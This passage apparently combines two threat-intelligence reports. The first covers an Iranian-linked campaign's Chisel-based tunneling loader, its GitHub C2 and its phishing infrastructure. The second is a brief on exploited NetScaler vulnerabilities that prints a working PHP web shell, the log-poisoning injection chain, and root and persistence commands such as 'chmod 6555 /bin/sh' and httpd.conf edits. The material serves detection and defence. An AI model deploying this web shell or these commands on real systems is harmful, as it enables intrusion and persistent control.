Screenshot of a GitHub repository page for "peakyblinders-tm/pubs". The repository has one branch and no tags, with the latest commit labeled "Add files via upload".
Figure 13. GitHub pubs repository containing the Client.zip file.

Figure 14 shows the extracted archive content, where the malicious file is named Blackwood.dll.

Screenshot of a File Explorer window displaying a folder named "Client" with several files. The files vary in type and size, with modification dates listed.
Figure 14. Extracted Client.zip archive content.

To deploy Blackwood, the attackers relied on the same execution playbook observed with the primary loader, ShelbyLoader V2: AppDomainManager hijacking and DLL sideloading. Inside the extracted archive, the attackers stored:

  • The malicious payload
  • A legitimate Microsoft-signed binary, vshost32.exe
  • A configuration file named vshost32.exe.config

When the trusted vshost32.exe executable was launched, the .NET runtime parsed the configuration file and sideloaded Blackwood.dll into the application's memory.

Blackwood.dll acted as a loader for the open-source Chisel tunneling tool. Once deployed, it enabled the attackers to establish encrypted TCP tunnels over HTTP with SOCKS5 proxy support to bypass perimeter defenses and enable lateral pivoting across compromised networks. To hide the tunneling payload from analysis, the core binary was embedded within the .NET loader as an 8.4 MB manifest resource named Blackwood.Cheese.xml. This payload was also encrypted with AES-256-CBC.

During execution, the malware derived the decryption key by computing the SHA-256 hash of a hard-coded ASCII passphrase (y0Da+QH#pwSg38E?=8R;71-jQu8Tqq). After Blackwood.dll decrypted the embedded XML resource, it revealed the actual Chisel payload — a Go-compiled DLL. The Blackwood.dll loader then reflectively loaded this Chisel DLL into memory and executed it.

The Chisel tool read its operational settings from the external configuration file Blackwood.dll.conf, which was dropped alongside the executable. The loader employed a conditional evasion scheme:

  • If the loader binary had a DLL extension, the loader treated the configuration file as Base64-encoded text and decrypted the file via the RC4 algorithm using the hard-coded key “My name is Blackwood !”
  • If the extension had been changed, the loader would have read the file in plaintext, resulting in a decryption failure.

Figure 15 displays the successful decryption using the hard-coded key, yielding a Chisel configuration.

Screenshot of a software interface displaying a decryption process. On the left, there's a section for Base64 decoding and RC4 decryption with the key "My name is Blackwood." The right shows decrypted content from a .conf file, revealing configuration details and client settings.
Figure 15. A successful decryption of the Blackwood configuration using the hard-coded key.

The discovered IP address, 91.107.156[.]29, functioned as a dedicated tunneling endpoint. The configuration instructed the infected machine to connect to this server and establish a reverse SOCKS proxy (R:0.0.0.0:10999:socks), creating a bridge that could allow attackers to route traffic to the target's internal network.

Initial Tool Set Testing

Throughout the campaign, the attackers performed operational testing to validate and improve their infrastructure and malware functions. The attackers confirmed dead-drop C2 resolution through GitHub comments in November 2025 and simulated Iraqi connections on a mock GitHub issue dashboard in April 2026. We also observed that the attackers tested additional infrastructure on a staging server for a phishing campaign targeting an Israeli entity in May 2026.

A comprehensive analysis of these operational testing phases is provided in Appendix A.

Additional Credential Harvesting Campaign

Analysis of Blackwood tunneling configurations submitted to VirusTotal revealed additional attacker infrastructure active between May and June 2026. One of the servers showed that the attackers reused the same infrastructure for both internal network access and credential harvesting. Our research linked this server to a phishing campaign in May–June 2026 targeting an Israeli entity, using conflict-themed lures.

A detailed breakdown of this additional campaign is available in Appendix B.

Attribution to the Iranian Nexus

Despite utilizing cloud infrastructure and code obfuscation to hide their operations, the actors behind the Blinder Tunnel campaign left behind several forensic artifacts. Based on infrastructure ownership, embedded metadata, targeted victimology and overlaps in tradecraft, we assess that an Iranian state-aligned threat actor conducted this campaign.

The key findings that led us to this attribution include:

  • Iranian-hosted infrastructure: The initial Blackwood C2 IP address belongs to an Iranian ISP: TOSE'EH ERTEBATAT NOVIN ARIA. A secondary Hetzner tunneling server resolves to Persian-language domains that the attackers likely acquired via an Iranian reseller.
  • MP3 file metadata: An .mp3 file hosted in the attackers' public GitHub repository retained metadata pointing to MusicDel[.]ir, a popular Iranian music platform.
  • Regional geopolitical victimology: The campaign's targeting profile aligns with previously documented regional espionage activity and historical targeting patterns associated with this activity cluster.
  • Convergence with Iranian espionage playbooks: The campaign employed established Iranian tactics, techniques and procedures (TTPs), which shows low confidence overlaps between CL-STA-1178 and established Iranian groups. Among the TTPs are:
    • Using aviation-targeted lures
    • AppDomainManager hijacking to disable ETW (resembling Screening Serpens)
    • Using GitHub dead-drop resolvers
    • Using in-memory .NET PowerShell wrappers (resembling Agent Serpens)

A detailed technical breakdown of the attribution artifacts is available in Appendix C.

Conclusion

The activity tracked as CL-STA-1178 represents targeted operations against Middle Eastern enterprise networks in the newly uncovered campaign Blinder Tunnel.

The attackers behind the activity used tailored social engineering techniques to masquerade as Dubai Airports recruiters, using a trojanized Visual Studio coding challenge to target a high-value job seeker based in Iraq.

The campaign is characterized by misuse of built-in developer tools and DLL sideloading. Attackers also used AppDomainManager hijacking to bypass security monitors like ETW. These evasion techniques enabled the attackers to deploy:

  • The primary loader, ShelbyLoader V2
  • The custom RAT payload, ShelbyC2 V2
  • The custom Blackwood tunneling tool

The Blinder Tunnel campaign relied on living-off-the-cloud techniques. By misusing GitHub APIs and reading encrypted comments within GitHub issues to rotate C2 servers, the attackers disguised the malware’s command traffic as legitimate enterprise platform activity.

We assess with high confidence that this activity cluster aligns with the work of an Iranian-nexus threat actor. The attacker using infrastructure themed around the TV show “Peaky Blinders” links this activity to the campaign previously documented in Elastic Security’s “The Shelby Strategy” report. Furthermore, OpSec failures and flawed cryptography uncovered a parallel campaign targeting an Israeli entity, revealing a broader operational footprint. The campaign's tool set and geographical targeting align with established regional threat activity and historical tradecraft.

This operation underscores the need for organizations to secure developer environments, monitor anomalous cloud platform traffic and maintain vigilance against industry-specific social engineering lures.

Palo Alto Networks Protection and Mitigation

Cortex AgentiX Agentic Assistant streamlined this investigation by allowing the team to query the data using natural language, providing deeper context and insights, and suggesting clear recommendations on what researchers should do next. Figures 16 and 17 show examples of this.

Screenshot of a detailed Cortex AgentiX report on a computer security incident from Microsoft Sentinel. It outlines the attack chain, beginning with a zip file related to Dubai Airport and involving the malicious software. The actions taken include machine isolation and malware scanning.
Figure 16. Breakdown of attack chain and actions taken, as shown in Cortex AgentiX.
Screenshot of Cortex AgentiX remediation steps with sections labeled "IMMEDIATE (Right Now)" and "SHORT-TERM (Within 24 Hours)". It includes instructions such as credential resets, machine isolation, reviewing malware scan results, and checking other endpoints. Steps detail path examples and emphasize the importance of time-sensitive actions.
Figure 17. Immediate and short-term remediation steps, suggested by Cortex AgentiX.

Palo Alto Networks customers are better protected from the threats discussed above through the following products:

  • The Advanced WildFire machine-learning models and analysis techniques have been reviewed and updated to identify and automatically block the recruitment lures, malicious build steps, and payloads associated with this campaign.
  • Advanced URL Filtering and Advanced DNS Security identify and block known malicious domains and URLs associated with this activity, specifically stopping the GitHub C2 traffic, Chisel tunneling attempts, and credential-harvesting phishing infrastructure associated with this threat cluster.
  • Cortex XDR and XSIAM are designed to prevent the execution of known malicious malware and prevent the execution of unknown malware using Behavioral Threat Protection and machine learning based on the Local Analysis module.

If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:

  • North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42)
  • UK: +44.20.3743.3660
  • Europe and Middle East: +31.20.299.3130
  • Asia: +65.6983.8730
  • Japan: +81.50.1790.0200
  • Australia: +61.2.4062.7950
  • India: 000 800 050 45107
  • South Korea: +82.080.467.8774

Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.

Indicators of Compromise

Blinder Tunnel malware payloads and hashes

  • DubaiAirport_Carrers_IT_Test.zip – Initial malicious archive
    • 6e7d9b33f1e72ea1ede71373a604ecdb060dab7d42055179c1eede9ecd1fd239
  • FlightManager.csproj – Weaponized Visual Studio project file
    • f5b12772db6817f7a765a6fe7565fd3d4f87edc28e42fe3ec0244a372a410fc9
  • RuntimeBroker.dll – Primary RAT loader
    • 53f35e49eb9b271fd8cbcd3daacb525328dbf159a03dbd1c7adebe0363daa402
  • PsProxy.dll – In-memory PowerShell execution engine
    • 3fd810a3aa0039993393741b32287c367a9a5037a41e826906440887cdd3ed13
  • Blackwood.dll – Custom Chisel tunneling wrapper
    • 76273382e4252c1f60a2251141e108942494409c759358320735891762c0682e
  • Blackwood.dll.conf – Contacting 91.107.156[.]29
    • d3561bd4aad003dc3e08157b0891860bb496b80cd6e44901692e08ab1d4e8260
  • Blackwood archive – Contacting 65.109.214[.]145
    • f5ba1645694c62f527ed6ceda8c68a5c3dd92b4032439167e8e937e72803b4bd
  • Blackwood archive – Contacting 87.248.129[.]239
    • 7cc571aca6d8715d9aaad3d83e1bcd30467565d583db1dfe73697c5d00a1f875

IP addresses:

  • 91.107.156[.]29
  • 87.248.129[.]239
  • 65.109.214[.]145
  • 38.180.136[.]127

Phishing domains:

  • cloud.g-drive[.]cam
  • googeldrive[.]cam
  • drivegoogel[.]cam
  • googelmeet[.]online
  • meetonline[.]cam
  • asdfafadafg[.]online

Registry keys:

  • HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MicrosoftRuntime

GitHub C2 infrastructure:

  • hxxps[:]//github[.]com/peakyblinders-tm
  • hxxps[:]//github[.]com/GreenBeret0

Additional Resources

Appendix A: The Attackers’ Initial Testing of Their Tool Set

According to our observations, the attackers conducted multiple operational tests throughout the campaign to validate and refine their own tools.

First Observed GitHub Comment

On Nov. 18, 2025, it appears that the threat actor performed operational tests to validate their C2 mechanisms, using a public GitHub repository to test their dead-drop resolution capabilities. By embedding an encrypted payload block inside a comment, the malware developers could verify that their malware located and retrieved fallback C2 instructions.

This early activity suggests a prolonged preparation period, indicating that this campaign could have started in November 2025. Figure 17 shows the comment left by the threat actor.

Screenshot of a GitHub edit history shows a comment created by "peakyblinders-tm" on Nov 18, 2025. Two annotations highlight details: one shows the regular expression used to find a specific comment, and the other indicates an encrypted blob containing backup data.
Figure 18. A GitHub comment indicating campaign preparation began by November 2025.

Analysis of the “asasas” GitHub Thread

On April 24, 2026, the operators used a GitHub issue in their peakyblinders-tm repository as an operational logging dashboard. The issue's asasas title and an initial hisasas comment suggest that the attackers created this thread as a preliminary trial run. These strings indicate adjacent QWERTY key smashing, typical of a quick confidence check to verify permissions before logging real telemetry.

The thread contained a series of additional comments that appeared to be automated alerts posted by the repository owner. These alerts flagged events such as New device Found and Login detected. The thread also contained system attributes such as #microsoft to denote the host operating system.

One of the log entries records a connection from the IP address 138.256.21[.]23 alongside the country code for Iraq, IQ. Since .256 exceeds the maximum IPv4 octet value of 255, we assess that attackers used a fabricated, non-routable IP address during an operational test to avoid triggering real network traffic. Despite the invalid IP address, the explicit inclusion of the IQ country code suggests a connection to the campaign's geographic targeting focus in the Middle East.

Figure 18 shows the GitHub issue thread, displaying a sequence of comments from the repository owner that combine what appear to be test strings, mock connection data and automated alerts.

Screenshot of a GitHub issue titled "asasas #1" in the "peakyblinders-tm" repository. The issue is open and contains comments with cautionary messages. One comment notes an IP address and country, while another mentions "Login detected" with a mention of the user.
Figure 19. GitHub issue “asasas” and comments thread.

Appendix B: Additional Credential Harvesting Campaign

The server 65.109.214[.]145 was identified through a Blackwood malware sample submitted to VirusTotal on May 24, 2026. Analysis indicates that this IP address was central to a credential-harvesting campaign between May and June 2026, hosting phishing domains as well as the backend Blackwood.dll component, configured on port 8080.

The server hosted a targeted infrastructure consisting of several Google-themed typosquatted domains. These included:

  • cloud.g-drive[.]cam
  • googeldrive[.]cam, drivegoogel[.]cam
  • googelmeet[.]online
  • meetonline[.]cam

On May 16, 2026, a VirusTotal submitter from Israel submitted a phishing URL hosted on this IP address: hxxps[:]//cloud.g-drive[.]cam/drive/file/d/[generated id]/view

The underlying landing page was designed to look like a Google Drive error page displaying a prompt to download an archive file named WarUnPublishedDocuments.zip.

Clicking the download button shown in Figure 19 directed the target to a site impersonating a Google login portal to collect user credentials at hxxps[:]//cloud.g-drive[.]cam/signin/v2/identifier?from=landing.

A dark interface displays a file named "WarUnpublishedDocuments.zip." A message in the center says, "Couldn't preview file. You may be offline or with limited connectivity. Try downloading instead." Below the message is a blue "Download" button.
Figure 20. A window impersonating Google Drive to lure the target to download a ZIP file named WarUnPublishedDocuments.zip.

We reported this information to Google, who investigated the activity outlined in this report. They confirmed that Google Drive systems and infrastructure were not compromised or involved in any way in the attacks.

The threat actors utilized external lookalike domains designed to impersonate Google Drive and Google Workspace interfaces for credential harvesting. Google Safe Browsing and Chrome protections actively block access to these identified malicious domains.

Google noted that they encourage organizations to enforce phishing-resistant multi-factor authentication (such as passkeys) and advise users to verify destination URLs before entering account credentials.

Further infrastructure tracking revealed the threat actor’s earlier staging environment. By pivoting on domains hosted on the primary 65.109.214[.]145 server, we discovered the domain asdfafadafg[.]online. This domain resolved to a secondary IP address, 38.180.136[.]127.

Timeline analysis indicates that the operators used this server to test their phishing infrastructure during early May 2026, before migrating their operations to the primary 65.109.214[.]145 server.

Appendix C: Attribution to the Iranian Nexus

Despite the attackers’ use of code obfuscation to hide their tracks, we discovered infrastructure overlaps and operational mistakes that revealed key attribution artifacts. An Iranian IP address, embedded music metadata and the targeted activity against critical infrastructure in the Middle East point to an Iranian state-sponsored espionage operation. We summarize each forensic artifact and share how it aligns with our attribution process.

Infrastructure

Our investigation into the Blackwood malware samples revealed four IP addresses used in the activity cluster. Two of the identified IP addresses provided clues to the operator’s country of origin.

  • 87.248.129[.]239
    This server was identified through an initial Blackwood malware sample submitted to VirusTotal on May 25, 2025, prior to the current campaign. This is an Iranian IP address, hosted by the internet service provider TOSE'EH ERTEBATAT NOVIN ARIA CO PJS. Active between April and June 2025, this server was the first to be linked to the Blackwood malware.
  • 91.107.156[.]29
    Extracted from the embedded configuration file inside the Blackwood malware sample, the IP address 91.107.156[.]29 functions as a tunneling relay. Although this server is hosted on Hetzner's infrastructure in Germany, passive DNS telemetry links it to an external domain layout. Historical DNS records reveal subdomains pointing to ns1.soroshpasargad[.]com and to the 3ff7dfc547e8697c registrar. In Persian, Sorosh means messenger or angel. Pasargad refers to the ancient capital of the first Persian Empire. Based on the aforementioned Persian domain and other Persian domains under the same registrar, we suspect that the current server listed under Hetzner could have been acquired from an Iranian reseller.

Tool Set

An OpSec oversight on the attackers' public GitHub profile provided an indicator of the operators' regional origin. The threat actor maintained a public repository under the organization profile peakyblinders-tm. The repository's README file included an embedded audio file titled Peaky Blinders Team.mp3, featuring the television show's theme song, “Red Right Hand.”

Figure 20 shows the Readme.md file from the attacker's public GitHub repository.

A GitHub page titled "Peaky Blinders Team" featuring artwork of a person in formal attire with a vintage style. The name "Peaky Blinders Team" is prominently displayed in large text below the image. There's a highlighted section indicating a file name.
Figure 21. The Readme.md file from the attacker's public GitHub repository features the “Peaky Blinders” theme song.

An analysis of the audio file's embedded metadata revealed that the operators did not strip the file's original attributes before uploading it to their public project page. As shown in the metadata breakdown in Figure 21, the COMMENT field explicitly retains the value MusicDel[.]ir.

An album audio file information display shows: Artist - Nick Cave & The Bad Seeds; Comment - MusicDel.ir; Title - red right hand; Track - 1.
Figure 22. Metadata of the audio file.

MusicDel[.]ir is an active, public Iranian music distribution website used primarily for downloading tracks in Iran. The presence of this specific metadata string indicates that the operators downloaded the audio file from a domestic Iranian platform before uploading it to their GitHub infrastructure.

Victimology

The targeting profile corresponds with victimology previously observed across other Iranian APT campaigns. The targets were all in the Middle East, specifically within the telecommunications and aviation sectors:

  • Iraq: In their research on “The Shelby Strategy,” Elastic Security Labs documented that the threat actor executed spear phishing campaigns from within a compromised Iraqi telecommunications infrastructure. According to their findings, this activity targeted two separate Iraqi communications companies. The activity’s geographic focus was the same in the campaign we investigated. This is corroborated by recent technical artifacts, as multiple campaign-related payloads — including the job assignment archive — were submitted to VirusTotal from Iraq. Additionally, the operators used the country code IQ (Iraq) in their mock connection logs during their GitHub operational testing. Based on the established operational profile and technical evidence linking this activity to the region, we assess that the individual targeted in Blinder Tunnel matches the profile of a software engineer based in Iraq.
  • United Arab Emirates (UAE): The initial lure mimicked the Dubai Airports IT Department. In another aviation-themed operation, Elastic Security Labs identified related infrastructure targeting the UAE aviation sector, including the malicious subdomain portal.sharjahairport[.]cloud.
  • Israel: The activity also targeted an Israeli entity using conflict-themed social engineering lures. A suspicious URL was submitted to VirusTotal via the web interface from an IP address in Israel. The URL redirected to a phishing page that served an archive named WarUnPublishedDocuments.zip, which in turn led to a site impersonating a Google login portal.

The “Peaky Blinders” Theme

Throughout past and present campaigns (2025-2026), the threat actor behind this activity consistently used a “Peaky Blinders” theme in naming their malware architecture and GitHub-based C2 repositories. This is evident in the following:

  • GitHub accounts named after the show’s name and main characters:
    • peakyblinders-tm
    • ArthurShelby
    • JohnShelllby
  • A repository referencing the gang's clothing: GreenBeret0
  • The presence of the show’s theme song in the repo's README file

These indicators served as a unique fingerprint that aided in attribution.

Similarities to Other Known APTs

Public threat intelligence tracks the Blinder Tunnel campaign as disparate activities independent of any known group. Unit 42 tracks this activity as a cluster, specifically using the CL-STA-1178 moniker. The tradecraft used in the Blinder Tunnel campaign shows low-confidence overlaps with established Iranian groups, none of which are strong enough to attribute CL-STA-1178 to any of these groups specifically. However, we do attribute the activity with high confidence to Iranian state-aligned attackers.

Screening Serpens

As detailed in a recent Unit 42 report, the Screening Serpens (aka UNC1549, Smoke Sandstorm, Iranian Dream Job) group targets technology, aerospace and defense professionals in the Middle East using highly tailored social engineering lures. The group has used personalized recruitment offers designed to trick targets into initiating the infection chain.

Another evolution highlighted in our research is the use of .NET AppDomainManager hijacking, manipulating legitimate configuration files to disable endpoint security mechanisms before the malware executes.

The Blinder Tunnel campaign employs both tactics. The Dubai Airport Coding Challenge deployment aligns with Screening Serpens' pattern of fraudulent hiring lures targeting the aviation sector.

Manipulation of the RuntimeBroker.exe.config file to execute AppDomainManager hijacking, to disable ETW (<etwEnable enabled="false"/>), was used by Screening Serpens throughout 2026.

Agent Serpens

When analyzing the Iranian state-sponsored activity tracked as Agent Serpens (aka APT35, Charming Kitten, Phosphorus), we noticed additional similarities in its operational playbook.

An overlap between this Blinder Tunnel campaign and Agent Serpens activity is the misuse of trusted developer platforms to maintain resilient C2 infrastructure. If communication channels fail, both campaigns rely on GitHub as a fallback dead-drop resolver.

As described in this research, the ShelbyLoader V2 backdoor queries the GitHub Issues Search API to extract AES-encrypted routing data hidden within HTML comments. Similarly, Drokbk malware uses the GitHub API to parse a specific repository file to locate and re-establish its C2 connection.

Furthermore, Cybereason's analysis of the Iranian threat group highlights a similar PowerShell execution technique. Just as Blinder Tunnel operations rely on memory-only wrappers, Agent Serpens deploys the PowerLess Trojan to execute PowerShell commands within a native .NET context. In both cases, the techniques used prevented the creation of a suspicious PowerShell.exe process that could trigger event detection alerts.

Threat Brief: NetScaler Zero Days CVE-2026-88771 and CVE-2026-88772 Exploited in the Wild (Updated September 30)

Executive Summary

Unit 42 is aware of possible zero-day activity against NetScaler devices. In a Citrix report that details several CVEs, they noted that CVE-2026-88771 and CVE-2026-88772 have been exploited in the wild. The threat actors exploited these vulnerabilities to deliver web shells and establish their initial access and persistence into organizations. Analysis is ongoing to determine any post-compromise activity.

As of Sept. 27, 2026, Palo Alto Networks Cortex Xpanse has identified 50,277 exposed instances that could potentially be vulnerable to these CVEs based on our telemetry.

It is important to note that activity after Sept. 27, 2026 might not match the same indicators of compromise (IoCs) or tactics, techniques and procedures (TTPs) from the original zero-day activity. We group pre-disclosure and post-disclosure activities to differentiate what we believe the original actors were doing with the exploit from what additional actors, security researchers and internet scanning tools are doing now that the vulnerabilities are public.

The vulnerabilities are:

  • CVE-2026-88771: A remote code execution (RCE) vulnerability that fails to properly validate input and allows an unauthenticated actor to run commands against NetScaler Application Delivery Controller (ADC) and NetScaler Gateway systems
  • CVE-2026-88772: A memory overflow vulnerability that can lead to a remote code execution (RCE) or denial of service (DoS) on the Datagram Transport Layer Security (DTLS) configuration on NetScaler ADC and NetScaler Gateway systems

Both vulnerabilities have a CVSS v4.0 base score of 9.5.

Palo Alto Networks customers are better protected from this activity through our products and services, such as:

The Unit 42 Incident Response team can also be engaged to help with a compromise or to provide a proactive assessment to lower your risk.

Vulnerabilities Discussed CVE-2026-88771, CVE-2026-88772

Pre-Disclosure Activity

This section is our analysis of threat activity that occurred prior to the public disclosure of these zero-day vulnerabilities. We saw two groups of web shell activity:

  • Datagram Transport Layer Security (DTLS) exploitation dropping .deb web shell files
  • A three-stage command injection exploit chain that drops PHP web shells

Initial Activity: Fingerprinting NetScaler Devices

The earliest activity we identified occurred on Aug. 21, 2026, from two hosts, one at 104.248.244[.]66 and one at 77.83.199[.]39. First, 104.248.244[.]66 requested /admin_ui/common/css/ns/ui.css from a NetScaler Gateway appliance at a US-based organization.

Approximately two hours later, the host at 77.83.199[.]39 requested the same file, /admin_ui/common/css/ns/ui.css. Nearly two hours after that second request, 77.83.199[.]39 requested /vpn/js/rdx/core/lang/rdx_en.json.gz. These requests are consistent with version fingerprinting.

On August 21 and 22, these two hosts and 78.47.24[.]217 sent the same requests to more than 100 other systems.

CVE-2026-88772: DTLS Exploitation To .deb Webshell Activity

In this exploit chain, the attacker sends crafted DTLS traffic to a vulnerable NetScaler device, which processes the malicious packet. This malicious packet causes memory corruption or a crash that can lead to either code execution or denial of service.

Between September 4 and 24, the threat actor repeatedly requested files from the appliance's /vpn/scripts/linux/ folder. This folder normally hosts Citrix client installation packages. The threat actor also used this folder to host their web shells.

The threat actor rotated its infrastructure over this period:

  • September 4–8: Four virtual private servers (VPSs), one per day, requested nsgclient18.deb and nsgser18.deb. These hosts were 66.135.19[.]18, 167.99.111[.]203, 142.93.85[.]227 and 104.248.74[.]206.
  • September 7: 137.184.91[.]207 requested the same files.
  • September 9–11: Three Cloudflare WARP VPN addresses requested nsgclient18.deb, nsgsupport.deb and nsgpackage64.deb. These addresses were 104.28.247[.]136, 104.28.215[.]136 and 104.28.215[.]137.
  • September 14: 162.33.178[.]9 requested nsgbuild.deb and nsgsupport.deb.
  • September 15–24: 193.149.176[.]207 requested nsgbuild.deb every day. This server accounts for most of the requests we observed

From September 10–27, the WARP addresses (plus two additional IP addresses, 104.28.247[.]137 and 193.149.176[.]207) sent a continuous stream of requests to the appliance's /logon/LogonPoint/Authentication/GetUserName page. We believe any activity to this URL path is anomalous and worth investigating.

The requests continued around the clock, including on days without web shell activity. They also continued for two and a half days after the last web shell request on September 24.

The last request arrived at 01:54 UTC on September 27, hours before Citrix published its security bulletin.

.deb Web Shell Analysis

We recovered and analyzed .deb files used in this activity. We analyzed nsg64.deb (ae22ef2517b5c0fb47f78745b9cb5260acee0e751b89bcd354640ff8bc8d29ec), which is a web shell written in PHP targeting Citrix NetScaler appliances. This file provides remote command execution, file exfiltration and file upload capabilities.

All command-and-control communication is RC4-encrypted using the 16-byte key 7489a0f93c67fa5cdaeb4b921d90594d, which is the MD5 hash of the hard-coded passphrase Rhfajaf1H992. The shell authenticates operators by verifying the k parameter against the passphrase and leverages the NetScaler SUID binary at /var/netscaler/.ns_suidcmd for privilege escalation.

Actor commands arrive through a custom HTTP headers. These headers are retrieved by checking the HTTP_xxx server variable, xxx parameters in cookies, GET and POST request parameters, as well as Apache request headers. The command handler in this web shell supports five different commands:

  • cmd command executes an arbitrary shell command using shell_exec, exec, passthru, system, and popen. It returns RC4-encrypted output.
  • size command returns the size of a specified file determined by running wc -c < {filename} 2>/dev/null
  • dl command exfiltrates files from the target system with chunked transfers via offset and length parameters, enforcing a hard cap of 1,048,576 bytes per request
  • up command writes data to a specified file path with optional append mode
  • info command returns the PHP version in the format php=PHP_VERSION\nns=4

CVE-2026-88771: Three Stage Command Injection Exploit to Web Shell Execution

On September 21, an actor from 77.83.199[.]39, 78.47.24[.]217 and 139.180.152[.]138 dropped a PHP web shell in a three-stage process against a U.S.-based target’s NetScaler devices.

Stage 1

The attacker sends an HTTP request to the NetScaler device with a dropper command encoded as Base64 text in the User-Agent string. The NetScaler device sends back a 404 error as expected, but this User-Agent string is added to the /var/log/httpaccess-vpn.log.

Stage 2

The attacker submits a login request that includes additional text that is logged as a failure message to /var/log/ns.log as:

pitboss PPE missed too many heartbeatsNSPPE;<additional text>

Eventually this ns.log file will be processed by the vulnerable Perl script at /netscaler/ns_monuploadd_err.pl.

Stage 3

When the Perl script at /netscaler/ns_monuploadd_err.pl -WR runs, it:

  • Picks up the poisoned log entries from the previous stage
  • Extracts the additional text inserted after NSPPE
  • Runs that text as part of a shell command

The <additional text> in this activity uses the grep command to retrieve the staged Base64 contained in the access log entry from Stage 1. It then decodes the Base64-encoded text and pipes it to sh or php, where this decoded text is run as a command.

Payload Analysis

Figure 1 shows an example of the PHP web shell we observed being dropped and executed as a Base64 payload in the three-stage process above. We have observed multiple values in place of C2 (e.g., 3P, 4B) at the beginning of this text and a variable character length.

Code of web shell.
Figure 1. Example of PHP web shell dropped and executed as a Base64 payload.

Figure 2 shows the decoded text from the Base64 payload.

A section of code with syntax highlighting.
Figure 2. Decoded text from the Base64 payload.

What the Commands Do

Privilege Escalation Bootstrap

chmod 6555 /bin/sh sets the SUID + SGID bits on /bin/sh. Any unprivileged process that subsequently calls /bin/sh inherits root UID. This step ensures future commands run as root regardless of the web server's runtime user.

Establish the Drop Path

mkdir -p /var/netscaler/logon/LogonPoint/custom

The directory at /var/netscaler/logon/LogonPoint/ is the NetScaler Gateway web UI root, served directly by the appliance's Apache (httpd). The custom/ subdirectory is the intended path for customer UI customizations — it is web-accessible by design and often not monitored.

Deploy the PHP Web Shell

The file .ctxs.receiver contains:

<?php

header("Cache-Control: no-store, no-cache, must-revalidate");

header("Pragma: no-cache");

header("Expires: 0");

if($_COOKIE["CsrfToken"]==="e826d7ddf3c85920" && !empty($_COOKIE["NSC_TASS"]))

passthru(urldecode($_COOKIE["NSC_TASS"]));

?>

Authentication Gate

CsrfToken cookie must equal the hard-coded value e826d7ddf3c85920. This is the per-implant password — different intrusions might use different tokens.

Command Channel

The NSC_TASS cookie carries the URL-encoded command to execute. Passthru() runs it with shell privileges and streams output directly to the HTTP response.

Stealth Headers

No-store/no-cache directives prevent proxy and browser caching, reducing the chance of detection via cached response analysis.

Naming Camouflage

NSC_TASS mimics legitimate NetScaler cookie names (NSC_* is the namespace used by NetScaler for load-balancer session cookies), making it blend into normal appliance traffic.

Register Web Shell With Apache via httpd.conf Patching

The perl -ni -e one-liner surgically edits /etc/httpd.conf to add two things:

  • A <Files ".ctxs.receiver"> block that enables PHP execution for the hidden file and sets anti-caching headers.
  • Two Alias/AliasMatch directives that serve the web shell under a legitimate-looking path:
    • Fixed alias: /logon/LogonPoint/custom/receiver.min.css → web shell
    • Regex alias: /logon/LogonPoint/custom/receiver.min.<hex>.css → web shell (any hex suffix)

The CSS filename disguise is deliberate. Browser developer tools, web application firewall logs and blue team analysts watching HTTP traffic will see what looks like a versioned CSS asset load, which is completely normal for a web application. The grep -q guard prevents duplicate injection if the persistence mechanism is run again.

Enable PHP Engine

The perl -pi -e 's/php_flag engine off/php_flag engine on /' /etc/httpd.conf one-liner substitutes php_flag engine off with php_flag engine on in httpd.conf to enable PHP, which is required for the web shell to execute. NetScaler's Apache config ships with php_flag engine off to disable PHP execution globally as a security hardening measure.

Reload Apache Using Updated Configuration

The line kill -HUP `cat /var/run/httpd.pid` sends SIGHUP to the Apache process, triggering a graceful config reload without dropping active connections. The injected config and PHP engine activation take effect immediately, with no restart log entry and no interruption to legitimate traffic.

Post-Disclosure Activity

We saw wide scale scanning and testing for these vulnerabilities once they were publicly disclosed on Sept. 27, 2026. Our analysis is ongoing and we will update this section if we identify novel activity.

Interim Guidance

We recommend that customers update their Citrix software to the latest versions as soon as possible, as well as following the recommendations:

  • Confirm exposure following the “Steps to determine if an appliance meets the CVE preconditions” section of the Citrix Security Advisory for these vulnerabilities
  • Isolate the vulnerable systems from the network
  • Preserve evidence by capturing the following:
    • A NetScaler VPX instance snapshot
    • Logs on remote syslog servers and NetScaler Console
    • A technical support bundle
    • A packet engine core dump
  • Hunt for the following:
    • Signs of suspicious administrative sessions
    • Unexpected outbound connections
    • Unexplained gaps in logging

Note: These are not TTPs we have observed specifically related to these vulnerabilities. They should be seen as general hunting guidance until more is known about the exploitation activity identified by Citrix in their advisory.

  • Update and patch to the latest versions

Note: Updating and patching will not remove access for attackers that have already established persistence within a compromise the network.

As of Sept. 27, 2026, Palo Alto Networks Cortex Xpanse has identified the presence of 50,277 exposed instances potentially vulnerable to these CVEs based on our telemetry.

Unit 42 Managed Threat Hunting Queries

This query looks for CVE-2026-88771 log poisoning. It does not indicate successful exploitation on patched devices. Unpatched devices will lead to execution if this log poisoning is present on a system.

Palo Alto Networks Product Protections

Palo Alto Networks customers can leverage a variety of product protections and updates to identify and defend against this threat.

If you think you might have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:

  • North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42)
  • UK: +44.20.3743.3660
  • Europe and Middle East: +31.20.299.3130
  • Asia: +65.6983.8730
  • Japan: +81.50.1790.0200
  • Australia: +61.2.4062.7950
  • India: 000 800 050 45107
  • South Korea: +82.080.467.8774

Next-Generation Firewalls With Advanced Threat Prevention

Next-Generation Firewall with the Advanced Threat Prevention security subscription can help via the following Threat Prevention signature: 97562. This signature is designed to block the exploitation of the CVE-2026-88771 Citrix NetScaler command injection vulnerability

Cloud-Delivered Security Services for the Next-Generation Firewall

Advanced URL Filtering, Advanced DNS Security and Advanced IP Defense identify known domains and URLs associated with this activity as malicious.

Cortex XDR and XSIAM

Cortex XDR and XSIAM are designed to detect post-exploit activity, including credential-based attacks, with behavioral analytics.

Cortex Xpanse

Cortex Xpanse has the ability to identify exposed Citrix NetScaler ADC and Gateway devices on the public internet and escalate these findings to defenders. Customers can enable alerting on this risk by ensuring that the InsecureCitrixApplicationDeliveryController Attack Surface Rule is enabled. Identified findings can either be viewed in the Threat Response Center or in the incident view of Expander. These findings are also available for Cortex XSIAM customers who have purchased the ASM module.

Device Security

